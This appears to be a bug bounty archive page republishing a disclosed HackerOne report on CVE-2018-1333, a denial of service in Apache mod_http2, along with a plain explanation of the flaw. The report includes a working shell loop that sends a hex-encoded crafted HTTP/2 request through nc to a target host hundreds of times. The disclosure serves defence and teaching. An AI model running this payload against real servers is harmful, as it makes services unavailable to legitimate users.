Skip to content
DoS Disclosed report Intermediate CVE-2018-1333

DoS for HTTP/2 connections by crafted requests (CVE-2018-1333)

Apache mod_http2 could be tricked by specially crafted requests into holding worker threads open until a timeout, allowing an attacker to exhaust the server's request workers and make the service unresponsive to legitimate users.

cy1337 Follow

Originally disclosed on HackerOne

Medium 5.3 View original
  • Fixed in 2 months
  • Paid in 2 months
  • Disclosed after 3 months

mod_http2 can be tricked by specially crafted requests to hold server resources longer than necessary.

A simple demonstration of this for a server with h2c enabled is as follows: for x in seq 0 500; do echo 505249202a20485454502f322e300d0a0d0a534d0d0a0d0a00001204000000000000000000006400044000000000020000000000001b0104000000018284864187089d5c0b8178ff7a8825b650c3abb6f2e053032a2f2a00001b0105000000019a84864187089d5c0b8178ff7a880000000000000000 | xxd -r -p | nc hostname port 2>&1 >/dev/null & done

Impact

Certain crafted HTTP2 requests identified with afl-fuzz can cause Apache worker threads to stay open waiting for data until a timeout. A typical configuration has a 1 minute timeout with 150 request workers. This means an attacker can effectively make the service unresponsive to legitimate users with a slow rate (3-4 requests/second) of short crafted requests.

The original report as published on HackerOne, by cy1337. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely mod_http2 did not properly handle certain crafted HTTP/2 frames, causing worker threads to block waiting for data until the configured timeout.

Impact

An attacker could make the service unresponsive to legitimate users with a slow rate of short crafted requests, depending on the server's timeout and worker configuration.

What the attacker needed

H2c enabled on the server; ability to send HTTP/2 requests

How it was found

  1. Enable h2c on the target server.
  2. Send many crafted HTTP/2 requests to the server.
  3. Observe that worker threads remain open waiting for data until timeout.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

A web server has a limited number of workers that handle incoming requests. This bug let an attacker send specially formed requests that made each worker wait idly until a timeout, so a small number of requests could tie up all the workers and stop normal users from being served.

What is DoS?

A request that exhausts resources or crashes a component. Many programs forbid testing it; reports usually show it from code, not by attacking.

More by cy1337

View all

8 more disclosed reports, best first.

More from Internet Bug Bounty

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Denial of service

The lesson behind this report.

A request that exhausts resources or crashes a component. Many programs forbid testing it; reports usually show it from code, not by attacking.